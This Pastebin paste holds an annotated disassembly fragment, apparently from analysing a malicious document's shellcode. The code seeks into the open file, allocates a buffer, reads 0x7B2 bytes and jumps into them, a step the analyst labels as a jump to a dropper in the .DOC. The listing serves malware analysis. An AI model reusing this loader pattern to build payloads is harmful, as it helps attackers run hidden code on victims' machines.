Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- debug016:00350157 loc_350157: ; CODE XREF: debug016:0035014Aj
- debug016:00350157 push 0
- debug016:00350159 push 0
- debug016:0035015B push dword ptr [ebp-18h]
- debug016:0035015E push dword ptr [ebp-4]
- debug016:00350161 call dword ptr [ebp-40h] ; call SetFilePointer
- debug016:00350164 push dword ptr [ebp-14h]
- debug016:00350167 push 40h
- debug016:00350169 call dword ptr [ebp-34h] ; call GlobalAlloc
- debug016:0035016C mov [ebp-0Ch], eax ; Allocate 7B2 bytes
- debug016:0035016F push 0
- debug016:00350171 lea eax, [ebp-1Ch]
- debug016:00350174 push eax
- debug016:00350175 push dword ptr [ebp-14h] ; size=0x7B2
- debug016:00350178 push dword ptr [ebp-0Ch] ; Buffer
- debug016:0035017B push dword ptr [ebp-4] ; hFile
- debug016:0035017E call dword ptr [ebp-3Ch] ; call ReadFile
- debug016:00350181 mov eax, [ebp-0Ch]
- debug016:00350184
- debug016:00350184 JMP_To_Dropper_: ; Jump to dropper in .DOC
- debug016:00350184 jmp eax
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement